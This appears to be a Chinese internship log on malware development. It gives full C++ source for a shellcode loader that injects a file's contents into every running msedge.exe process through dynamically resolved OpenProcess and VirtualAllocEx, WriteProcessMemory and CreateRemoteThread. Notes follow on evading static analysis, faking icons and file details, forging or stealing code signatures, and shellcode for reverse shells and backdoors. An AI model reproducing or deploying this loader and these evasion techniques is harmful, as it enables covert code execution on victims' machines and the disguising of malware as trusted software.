7.17生产实习日志

上线工具与代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include<fstream>
#include<iostream>
#include<Windows.h>
#include <tlhelp32.h>
using namespace std;

// 函数用于创建远程线程执行 shellcode
typedef HANDLE(WINAPI* fn_OpenProcess)(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
typedef LPVOID(WINAPI* fn_VirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

void createThreadTest(char* argv[]) {
char* filename = argv[1];
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
// 如果进程名包含 "msedge.exe" 则进行以下操作
if (extFileName.find(L"msedge.exe") != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer =myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;

// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
// 主函数
int main(int argc,char* argv[]) {
// 调用函数执行创建远程线程的操作
createThreadTest(argv);
return 0;
}

运行结果

参数分离

使用参数分离传递文件路径与进程名

参数分离是指将程序所需的输入参数从代码逻辑中分离出来,通常通过命令行参数传递。这种做法的好处包括增强程序的灵活性、可扩展性和易维护性。具体来说,通过命令行参数传递文件路径和进程名可以实现以下功能:

  • 灵活性:允许用户在运行程序时指定不同的文件路径和进程名,而不需要修改代码。
  • 自动化:方便脚本化和批处理,适用于自动化任务。
  • 调试:简化调试过程,可以快速更改输入参数以测试不同场景。

使用参数分离实现功能模块(-I, -d之类的)

使用参数分离可以实现功能模块的动态调用,比如通过命令行参数来启用或禁用特定功能模块。常见的做法是使用短横线(-)或双短横线(–)引导的参数,例如:

  • -I:指定输入文件或目录。
  • -d:启用调试模式。
  • –output:指定输出文件或目录。
  • –verbose:启用详细日志输出。

这些参数可以组合使用,使程序具有更高的灵活性。例如,script.py -I input.txt -d 表示运行程序时指定输入文件为input.txt并启用调试模式。

动态调用

VirtualAlloc 动态调用

VirtualAlloc 是 Windows API 中用于内存分配的函数,动态调用它可以在运行时分配内存,而不是在编译时确定。动态调用涉及在程序运行时解析函数地址并调用它,这通常用于规避静态分析和提高恶意软件的隐蔽性。

  • 使用场景
    • 恶意软件:动态调用可以隐藏恶意行为,避免被静态分析工具检测。
    • 内存管理:在需要动态分配大块内存的应用程序中使用。

其他敏感 API 的动态调用

VirtualAlloc 外,其他常用的敏感 API(如 LoadLibraryGetProcAddress 等)也可以通过动态调用来实现。这些 API 通常用于加载动态链接库(DLL)、获取函数地址等操作。

  • 安全性:动态调用可以规避静态分析,提升程序的隐蔽性。
  • 灵活性:允许程序根据运行时环境动态决定调用的函数,提高程序的适应性。

伪造图标与详细信息

伪造图标和详细信息是指通过修改可执行文件的资源部分,来改变文件在文件管理器中的显示内容。这种技术常用于恶意软件和钓鱼攻击,使文件看起来合法和无害。

  • 图标伪造:通过修改资源段,将合法软件的图标替换到恶意软件中。
  • 详细信息伪造:修改文件属性,如版本号、公司名称、描述等,使文件看起来像是来自可信来源。

伪造签名

伪造签名是指对恶意软件进行数字签名,使其看起来像是由可信任的来源发布。这通常通过以下方法实现:

  • 盗用合法签名:获取合法软件开发者的私钥,对恶意软件进行签名。
  • 伪造证书:创建伪造的数字证书并使用它对恶意软件进行签名。
  • 证书滥用:利用受信任的证书签署恶意软件。

Shellcode(bin 文件)

Shellcode 是一段小型代码片段,通常用于在漏洞利用中执行特定任务。它常以二进制文件(bin 文件)的形式存在,直接嵌入到受害程序的内存中并执行。

  • 特点

    • 小巧精简:通常只有几十到几百字节,便于嵌入。
    • 直接执行:无需依赖外部库或文件,直接在内存中执行。
    • 多功能:可以执行各种任务,如反弹 shell、下载和执行文件等。
  • 使用场景

    • 漏洞利用:利用漏洞将 shellcode 注入目标进程并执行。
    • 后门程序:在被攻破的系统中执行特定任务,如建立持久性后门。